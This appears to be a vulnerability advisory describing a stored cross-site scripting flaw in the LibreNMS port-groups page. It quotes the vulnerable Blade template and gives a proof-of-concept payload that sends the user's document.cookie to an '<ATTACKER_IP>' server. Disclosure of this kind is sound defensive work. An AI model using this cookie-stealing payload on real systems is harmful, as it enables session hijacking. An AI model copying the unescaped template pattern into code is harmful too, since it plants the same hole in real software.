"details" : "### Summary\n**/port-groups name Stored Cross-Site Scripting**\n\n- HTTP POST\n- Request-URI(s): \"/port-groups\"\n- Vulnerable parameter(s): \"name\"\n- Attacker must be authenticated with \"admin\" privileges.\n- When a user adds a port group, an HTTP POST request is sent to the Request-URI \"/port-groups\". The name of the newly created port group is stored in the value of the name parameter.\n- After the port group is created, the entry is displayed along with some relevant buttons like Edit and Delete.\n\n### Details\nThe vulnerability exists as the name of the port group is not sanitized of HTML/JavaScript-related characters\nor strings. When the delete button is rendered, the following template is used to render the page:\n\n_resources/views/port-group/index.blade.php:_\n```\n@extends('layouts.librenmsv1')\n@section('title', __('Port Groups'))\n@section('content')\n<div class=\"container-fluid\">\n<x-panel id=\"manage-port-groups-panel\">\n// [...Truncated...]\n@foreach($port_groups as $port_group)\n// [...Truncated...]\n\n<button type=\"button\" class=\"btn btn-danger btn-\nsm\" title=\"{{ __('delete Port Group') }}\" aria-label=\"{{ __('Delete') }}\"\n\nonclick=\"delete_pg(this, '{{ $port_group-\n>name }}', '{{ route('port-groups.destroy', $port_group->id) }}')\"> // using the\nport's name in the Delete button functionality without sanitizing for XSS related\ncharacters/strings\n```\n\nAs the device's name is not sanitized of HTML/JavaScript-related characters or strings, this can result in stored\ncross-site scripting.\n\n### PoC\n- Login\n- Select Ports > Manage Port Groups\n- Select New Port Group\n- Input `12345');varpt=newImage();pt.src='http://<ATTACKER_IP>/cookiePG'.concat(document.cookie);document.body.appendChild(pt);delete_pg(this, '12345 into the \"Name\" input box (change <ATTACKER_IP> to be an the IP of an attacker controlled webserver)`\n- Select Save\n- Select the Delete Icon for the newly created Port Group\n- Select OK\n- The JavaScript payload is not sanitized and an HTTP request will be sent to the attacker controlled server, leaking the user's cookies.",
